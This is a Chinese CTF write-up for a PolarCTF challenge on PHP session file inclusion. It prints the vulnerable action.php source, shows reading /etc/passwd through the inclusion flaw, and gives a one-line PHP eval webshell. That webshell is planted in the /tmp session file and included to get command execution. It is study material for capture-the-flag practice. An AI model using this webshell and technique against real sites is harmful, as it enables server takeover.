【PolarCTF】session文件包含

开局一个输入框提示输入名字

随便输入进行抓包

很明显是存在一个文件包含漏洞的

先通过base64读取index.php,看看有没有什么有用信息

index.php没什么有用信息

尝试读取下/etc/passwd,是正常的没问题

那么就看看action.php,里面有没有什么有用的东西

action.php的代码如下

php 复制代码
<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){
    $_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>

通过action.php我们就可以发现漏洞点

session_start()会出发session机制在/tmp目录下生成要给session缓存文件一般格式的话都是:"sess_" + Cookie中PHPSESSION的值

可以看到下面这段代码会接收name的参数值放入session中

php 复制代码
$name = $_POST['name'];
if($name){
    $_SESSION["username"] = $name;
}

紧接着这句话文件包含

php 复制代码
include($_GET['file']);

我们就有如下的攻击思路:

使用POST方法通过name参数传递一个一句话------>此时就会在/tmp产生一个文件名可猜的session缓存文件,里面是包含用name参数的的一句话木马------>然后使用file参数将这个缓存文件进行包含,得到webshell

我们先将一句话木马打入session缓存文件,可以多点几次让其生效

php 复制代码
"<?php @eval($_POST['a']);?>"

然后直接文件包含那个缓存文件即可getshell

或者我们也可以不用蚁剑,直接使用system执行命令,然后包含缓存得到结果

注意着这个过程中,可能要多点几次才能生效,因为要写入session

相关推荐
goujunwe13 小时前
GEO 评估方法:如何自测你的内容,会不会被 AI 引用
搜索引擎·网络安全·游戏引擎·全文检索·中文分词
Koi慢热1 天前
DayDayMap学术社区体验:卫星网络测绘专题用下来怎么样
网络·人工智能·windows·web安全·网络安全
orange....1 天前
VMware 双网卡配置:宿主机切换网络时 Ubuntu 固定 IP 访问方案
网络·ubuntu·网络安全
m0_715674431 天前
智能化+基于行标+场景化 政务数据库审计与风险监测全维度解决方案
网络·数据库·安全·网络安全·政务
IPdodo_2 天前
住宅 IP 与数据中心 IP 到底差在哪:用 RDAP、BGP 和多源证据做工程判定
网络·网络安全·代理模式·ip
2501_916008892 天前
SSE 和 gRPC 流式接口如何抓包,调试 SSE 与 gRPC 流式接口
网络协议·计算机网络·网络安全·ios·adb·https·udp
Bruce_Liuxiaowei2 天前
2026年9月第3周网络安全形势周报
安全·网络安全
菜根Sec2 天前
没钱考网络安全证书了
网络·网络安全·信息安全·信息安全工程师·网络安全公司
m0_695768802 天前
CVE-2017-9442 靶场详解
网络安全
聚铭网络2 天前
聚铭网络入选2026年度连云港市网络和数据安全应急支撑服务机构并获授牌
网络安全